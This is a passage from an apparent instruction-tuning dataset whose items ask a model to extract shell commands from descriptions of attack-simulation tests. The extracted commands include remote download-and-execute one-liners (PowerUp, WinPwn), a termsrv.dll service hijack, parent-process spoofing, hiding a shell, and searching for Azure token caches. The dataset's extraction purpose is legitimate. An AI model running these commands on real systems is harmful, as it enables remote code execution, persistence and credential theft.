    "output": "{\"command_list\": [\"$termsrvDll = \\\"C:\\\\Windows\\\\System32\\\\termsrv.dll\\\"\\n\\n$ACL = Get-Acl $termsrvDll\\n$permission = \\\"Administrators\\\",\\\"FullControl\\\",\\\"Allow\\\"\\n$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission\\n$ACL.SetAccessRule($accessRule)\\nSet-Acl -Path $termsrvDll -AclObject $ACL\\n\\nCopy-Item -Path $termsrvDll -Destination \\\"$HOME\\\\AtomicTest.dll\\\"\\n\\n$newServiceDll = \\\"$HOME\\\\AtomicTest.dll\\\"\\n\\n$registryPath = \\\"HKLM:\\\\System\\\\CurrentControlSet\\\\services\\\\TermService\\\\Parameters\\\"\\n\\n# Check if the registry key exists\\nif (Test-Path -Path $registryPath) {\\n    # Modify the ServiceDll value in the registry\\n    Set-ItemProperty -Path $registryPath -Name \\\"ServiceDll\\\" -Value $newServiceDll\\n    Write-Host \\\"ServiceDll value in the registry has been updated to: $newServiceDll\\\"\\n} else {\\n    Write-Host \\\"Registry key not found. Make sure the 'TermService\\\\Parameters' key exists.\\\"\\n}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    If you need to stop a running service, execute this command which sends a termination signal: sudo killall -SIGTERM #{process_name}",
    "output": "{\"command_list\": [\"sudo killall -SIGTERM #{process_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The WinPwn dotnet function helps search for .NET Service-Binaries when you run the following command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndotnet -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndotnet -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To spawn a process as a child of the first accessible svchost.exe process, use the following command: Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
    "output": "{\"command_list\": [\"Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \\\"Name = 'svchost.exe' AND CommandLine LIKE '%'\\\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The results of systems with enabled file and print sharing will be displayed when you run: net view /domain\nnet view\n",
    "output": "{\"command_list\": [\"net view /domain\\nnet view\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create and execute a process from a directory masquerading as the current parent directory, use the following commands:\nmkdir $HOME/...\ncp $(which sh) $HOME/...\n$HOME/.../sh -c \"echo #{test_message}\"\n",
    "output": "{\"command_list\": [\"mkdir $HOME/...\\ncp $(which sh) $HOME/...\\n$HOME/.../sh -c \\\"echo #{test_message}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy the last 30 commands from history to the clipboard and save them to a file, use the following commands: apt install xclip -y\nhistory | tail -n 30 | xclip -sel clip\nxclip -o > history.txt",
    "output": "{\"command_list\": [\"apt install xclip -y\\nhistory | tail -n 30 | xclip -sel clip\\nxclip -o > history.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For finding cached Azure authentication tokens, execute the following search command: find #{file_path}/.azure -name \"msal_token_cache.json\" -o -name \"accessTokens.json\" -type f 2>/dev/null",
    "output": "{\"command_list\": [\"find #{file_path}/.azure -name \\\"msal_token_cache.json\\\" -o -name \\\"accessTokens.json\\\" -type f 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { 